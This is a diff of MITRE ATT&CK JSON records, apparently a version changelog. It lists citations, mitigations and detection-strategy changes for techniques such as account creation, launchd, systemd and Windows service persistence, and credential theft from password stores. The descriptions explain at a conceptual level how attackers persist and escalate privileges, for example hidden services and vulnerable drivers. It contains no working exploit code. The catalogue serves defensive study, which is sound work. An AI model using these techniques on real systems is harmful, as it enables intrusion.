+ "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html"
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+ "source_name": "Palo Alto Unit 42 Domain Shadowing 2022",
+ "description": "Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.",
+ "url": "https://unit42.paloaltonetworks.com/domain-shadowing/"
+ },
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+ "source_name": "Microsoft Sub Takeover 2020",
+ "description": "Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.",
+ "url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover"
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+ "external_id": "T1584.003"
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+ "source_name": "Koczwara Beacon Hunting Sep 2021",
+ "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.",
+ "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"
+ },
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+ "source_name": "NSA NCSC Turla OilRig",
+ "description": "NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.",
+ "url": "https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf"
+ },
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+ "source_name": "Mandiant SCANdalous Jul 2020",
+ "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.",
+ "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/"
+ },
+ {
+ "source_name": "ThreatConnect Infrastructure Dec 2020",
+ "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
+ "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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+ "source_name": "Recorded Future Turla Infra 2020",
+ "description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024.",
+ "url": "https://www.recordedfuture.com/research/turla-apt-infrastructure"
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+ "source_name": "ThreatConnect Infrastructure Dec 2020",
+ "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
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+ "external_id": "T1609"
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+ "description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.",
+ "url": "https://docs.docker.com/engine/reference/commandline/exec/"
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+ "source_name": "Docker Entrypoint",
+ "description": "Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.",
+ "url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime"
+ },
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+ "source_name": "Docker Daemon CLI",
+ "description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.",
+ "url": "https://docs.docker.com/engine/reference/commandline/dockerd/"
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+ "source_name": "Kubectl Exec Get Shell",
+ "description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021.",
+ "url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/"
+ },
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+ "source_name": "Kubernetes Kubelet",
+ "description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021.",
+ "url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/"
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+ "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
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+ "description": "Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.",
+ "url": "https://docs.docker.com/engine/api/v1.41/"
+ },
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+ "source_name": "Kubernetes API",
+ "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.",
+ "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/"
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+ "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.",
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+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Creation)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0583: Detection Strategy for T1136 - Create Account across platforms"
+ ],
+ "dropped": []
+ }
+ },
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+ "type": "attack-pattern",
+ "id": "attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
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+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1136/003",
+ "external_id": "T1136.003"
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+ {
+ "source_name": "Microsoft O365 Admin Roles",
+ "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.",
+ "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide"
+ },
+ {
+ "source_name": "AWS Create IAM User",
+ "description": "AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020.",
+ "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html"
+ },
+ {
+ "source_name": "AWS Lambda Execution Role",
+ "description": "AWS. (n.d.). Lambda execution role. Retrieved February 28, 2024.",
+ "url": "https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html"
+ },
+ {
+ "source_name": "AWS Instance Profiles",
+ "description": "AWS. (n.d.). Using instance profiles. Retrieved February 28, 2024.",
+ "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html"
+ },
+ {
+ "source_name": "GCP Create Cloud Identity Users",
+ "description": "Google. (n.d.). Create Cloud Identity user accounts. Retrieved January 29, 2020.",
+ "url": "https://support.google.com/cloudidentity/answer/7332836?hl=en&ref_topic=7558554"
+ },
+ {
+ "source_name": "GCP Service Accounts",
+ "description": "Google. (n.d.). Service Accounts Overview. Retrieved February 28, 2024.",
+ "url": "https://cloud.google.com/iam/docs/service-account-overview"
+ },
+ {
+ "source_name": "Microsoft Azure AD Users",
+ "description": "Microsoft. (2019, November 11). Add or delete users using Azure Active Directory. Retrieved January 30, 2020.",
+ "url": "https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/add-users-azure-active-directory"
+ },
+ {
+ "source_name": "Microsoft Entra ID Service Principals",
+ "description": "Microsoft. (2023, December 15). Application and service principal objects in Microsoft Entra ID. Retrieved February 28, 2024.",
+ "url": "https://learn.microsoft.com/en-us/entra/identity-platform/app-objects-and-service-principals?tabs=browser"
+ },
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+ "source_name": "Microsoft Support O365 Add Another Admin, October 2019",
+ "description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.",
+ "url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"
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+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"User Account: User Account Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.917000+00:00\", \"old_value\": \"2025-04-15 22:01:16.589000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect usage logs from cloud user and administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.\"}}}",
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+ "M1030: Network Segmentation",
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+ "DET0319: Detection Strategy for T1136.003 - Cloud Account Creation across IaaS, IdP, SaaS, Office"
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+ "url": "https://attack.mitre.org/techniques/T1136/002",
+ "external_id": "T1136.002"
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+ "source_name": "Microsoft User Creation Event",
+ "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.",
+ "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720"
+ },
+ {
+ "source_name": "Savill 1999",
+ "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.",
+ "url": "https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference"
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+ "DET0003: T1136.002 Detection Strategy - Domain Account Creation Across Platforms"
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "external_id": "T1543"
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+ "source_name": "AppleDocs Launch Agent Daemons",
+ "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
+ "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
+ },
+ {
+ "source_name": "TechNet Services",
+ "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
+ "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
+ },
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+ "source_name": "OSX Malware Detection",
+ "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
+ "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
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+ "macOS",
+ "Linux",
+ "Containers"
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+ "M1022: Restrict File and Directory Permissions",
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+ "M1033: Limit Software Installation",
+ "M1040: Behavior Prevention on Endpoint",
+ "M1045: Code Signing",
+ "M1047: Audit",
+ "M1054: Software Configuration"
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+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)",
+ "DS0027: Driver (Driver Load)",
+ "DS0032: Container (Container Creation)"
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+ "new": [
+ "DET0571: Detection of System Process Creation or Modification Across Platforms"
+ ],
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+ }
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+ "type": "attack-pattern",
+ "id": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "phase_name": "persistence"
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1543/001",
+ "external_id": "T1543.001"
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+ "source_name": "AppleDocs Launch Agent Daemons",
+ "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
+ "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
+ },
+ {
+ "source_name": "Sofacy Komplex Trojan",
+ "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
+ "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
+ },
+ {
+ "source_name": "OceanLotus for OS X",
+ "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
+ "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update"
+ },
+ {
+ "source_name": "OSX Keydnap malware",
+ "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
+ "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/"
+ },
+ {
+ "source_name": "Methods of Mac Malware Persistence",
+ "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
+ "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
+ },
+ {
+ "source_name": "OSX Malware Detection",
+ "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
+ "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
+ },
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+ "source_name": "Antiquated Mac Malware",
+ "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
+ "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
+ },
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+ "source_name": "OSX.Dok Malware",
+ "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
+ "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/"
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+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0434: Detection of Launch Agent Creation or Modification on macOS"
+ ],
+ "dropped": []
+ }
+ },
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+ "type": "attack-pattern",
+ "id": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "modified": "2025-10-24 17:48:49.387000+00:00",
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+ "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
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+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1543/004",
+ "external_id": "T1543.004"
+ },
+ {
+ "source_name": "AppleDocs Launch Agent Daemons",
+ "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
+ "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
+ },
+ {
+ "source_name": "LaunchDaemon Hijacking",
+ "description": "Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.",
+ "url": "https://bradleyjkemp.dev/post/launchdaemon-hijacking/"
+ },
+ {
+ "source_name": "WireLurker",
+ "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
+ "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
+ },
+ {
+ "source_name": "launchd Keywords for plists",
+ "description": "Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021.",
+ "url": "https://www.real-world-systems.com/docs/launchdPlist.1.html"
+ },
+ {
+ "source_name": "Methods of Mac Malware Persistence",
+ "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
+ "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
+ },
+ {
+ "source_name": "OSX Malware Detection",
+ "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
+ "url": "https://papers.put.as/papers/macosx/2016/RSA_OSX_Malware.pdf"
+ },
+ {
+ "source_name": "sentinelone macos persist Jun 2019",
+ "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.",
+ "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
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+ "name": "Systemd Service",
+ "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. Systemd is a system and service manager commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014) Systemd is the default initialization (init) system on many Linux distributions replacing legacy init systems, including SysVinit and Upstart, while remaining backwards compatible. \n\nSystemd utilizes unit configuration files with the `.service` file extension to encode information about a service's process. By default, system level unit files are stored in the `/systemd/system` directory of the root owned directories (`/`). User level unit files are stored in the `/systemd/user` directories of the user owned directories (`$HOME`).(Citation: lambert systemd 2022) \n\nInside the `.service` unit files, the following directives are used to execute commands:(Citation: freedesktop systemd.service) \n\n* `ExecStart`, `ExecStartPre`, and `ExecStartPost` directives execute when a service is started manually by `systemctl` or on system start if the service is set to automatically start.\n* `ExecReload` directive executes when a service restarts. \n* `ExecStop`, `ExecStopPre`, and `ExecStopPost` directives execute when a service is stopped. \n\nAdversaries have created new service files, altered the commands a `.service` file\u2019s directive executes, and modified the user directive a `.service` file executes as, which could result in privilege escalation. Adversaries may also place symbolic links in these directories, enabling systemd to find these payloads regardless of where they reside on the filesystem.(Citation: Anomali Rocke March 2019)(Citation: airwalk backdoor unix systems)(Citation: Rapid7 Service Persistence 22JUNE2016) \n\nThe `.service` file\u2019s User directive can be used to run service as a specific user, which could result in privilege escalation based on specific user/group permissions. \n\nSystemd services can be created via systemd generators, which support the dynamic generation of unit files. Systemd generators are small executables that run during boot or configuration reloads to dynamically create or modify systemd unit files by converting non-native configurations into services, symlinks, or drop-ins (i.e., [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037)).(Citation: Elastic Security Labs Linux Persistence 2024)(Citation: Pepe Berba Systemd 2022)",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1543/002",
+ "external_id": "T1543.002"
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+ "source_name": "airwalk backdoor unix systems",
+ "description": "airwalk. (2023, January 1). A guide to backdooring Unix systems. Retrieved May 31, 2023.",
+ "url": "http://www.ouah.org/backdoors.html"
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+ "source_name": "Anomali Rocke March 2019",
+ "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
+ "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
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+ "source_name": "freedesktop systemd.service",
+ "description": "Free Desktop. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 20, 2023.",
+ "url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html"
+ },
+ {
+ "source_name": "Linux man-pages: systemd January 2014",
+ "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.",
+ "url": "http://man7.org/linux/man-pages/man1/systemd.1.html"
+ },
+ {
+ "source_name": "Pepe Berba Systemd 2022",
+ "description": "Pepe Berba. (2022, February 7). Hunting for Persistence in Linux (Part 5): Systemd Generators. Retrieved April 8, 2025.",
+ "url": "https://pberba.github.io/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/"
+ },
+ {
+ "source_name": "Berba hunting linux systemd",
+ "description": "Pepe Berba. (2022, January 30). Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron. Retrieved March 20, 2023.",
+ "url": "https://pberba.github.io/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/"
+ },
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+ "source_name": "Rapid7 Service Persistence 22JUNE2016",
+ "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.",
+ "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence"
+ },
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+ "source_name": "Elastic Security Labs Linux Persistence 2024",
+ "description": "Ruben Groenewoud. (2024, August 20). Linux Detection Engineering - A primer on persistence mechanisms. Retrieved March 18, 2025.",
+ "url": "https://www.elastic.co/security-labs/primer-on-persistence-mechanisms"
+ },
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+ "source_name": "lambert systemd 2022",
+ "description": "Tony Lambert. (2022, November 13). ATT&CK T1501: Understanding systemd service persistence. Retrieved March 20, 2023.",
+ "url": "https://redcanary.com/blog/attck-t1501-understanding-systemd-service-persistence/"
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+ "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\nTo make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create \u2018hidden\u2019 services (i.e., [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)",
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+ "url": "https://attack.mitre.org/techniques/T1543/003",
+ "external_id": "T1543.003"
+ },
+ {
+ "source_name": "Microsoft Windows Event Forwarding FEB 2018",
+ "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.",
+ "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection"
+ },
+ {
+ "source_name": "ESET InvisiMole June 2020",
+ "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.",
+ "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"
+ },
+ {
+ "source_name": "SANS 1",
+ "description": "Joshua Wright. (2020, October 13). Retrieved March 22, 2024.",
+ "url": "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/"
+ },
+ {
+ "source_name": "SANS 2",
+ "description": "Joshua Wright. (2020, October 14). Retrieved March 22, 2024.",
+ "url": "https://www.sans.org/blog/defense-spotlight-finding-hidden-windows-services/"
+ },
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+ "source_name": "TechNet Services",
+ "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
+ "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx"
+ },
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+ "source_name": "Microsoft 4697 APR 2017",
+ "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.",
+ "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697"
+ },
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+ "source_name": "Symantec W.32 Stuxnet Dossier",
+ "description": "Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020.",
+ "url": "https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf"
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+ "source_name": "Unit42 AcidBox June 2020",
+ "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021.",
+ "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/"
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+ "source_name": "TechNet Autoruns",
+ "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+ "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
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+ "source_name": "Crowdstrike DriveSlayer February 2022",
+ "description": "Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022.",
+ "url": "https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/"
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Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \\n\\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \\n\\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\\n\\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +0,0 @@\\n-Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \\n-\\n-Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \\n-\\n-Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\\n-\\n-Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}",
+ "previous_version": "1.6",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1028: Operating System Configuration",
+ "M1040: Behavior Prevention on Endpoint",
+ "M1045: Code Signing",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0019: Service (Service Creation)",
+ "DS0019: Service (Service Modification)",
+ "DS0022: File (File Metadata)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)",
+ "DS0027: Driver (Driver Load)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0552: Detection of Windows Service Creation or Modification"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 18:48:28.456000+00:00",
+ "modified": "2025-10-24 17:48:41.974000+00:00",
+ "name": "Credentials from Password Stores",
+ "description": "Adversaries may search for common password storage locations to obtain user credentials.(Citation: F-Secure The Dukes) Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1555",
+ "external_id": "T1555"
+ },
